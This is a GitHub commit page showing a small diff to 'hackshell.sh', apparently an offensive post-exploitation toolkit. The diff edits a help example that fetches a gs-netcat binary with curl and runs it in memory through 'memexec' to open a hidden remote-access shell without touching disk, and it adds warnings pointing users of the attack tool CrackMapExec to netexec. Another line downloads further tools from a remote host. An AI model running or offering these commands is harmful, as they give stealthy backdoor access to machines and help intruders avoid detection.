Skip to content

Commit

Permalink
initial stuff
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Sep 9, 2024
1 parent 1334d90 commit ae9c4de
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion hackshell.sh
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,7 @@ Examples:
Or a real world example to deploy gsocket without touching the file system
or /dev/shm or /tmp (Change the -sSECRET please):
${CDC}GS_ARGS=\"-ilqD -s5sLosWHZLpE9riqt74KvG9\" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-\$(uname -m))${CN}"
${CDC}GS_ARGS=\"-ilqD -sSecretChangeMe31337\" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-\$(uname -m))${CN}"
}

xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Expand Down Expand Up @@ -623,6 +623,8 @@ bin() {
local str="${single##*/}"
local loc="${single}"
unset single
[ "$str" == "cme" ] && HS_WARN "CME is obsolete. Try netexec."
[ "$str" == "crackmapexec" ] && HS_WARN "CrackMapExec is obsolete. Try netexec."
bin_dl "${str}" "https://bin.ajam.dev/${a}/${loc}"
}
unset _HS_SINGLE_MATCH
Expand Down

0 comments on commit ae9c4de

Please sign in to comment.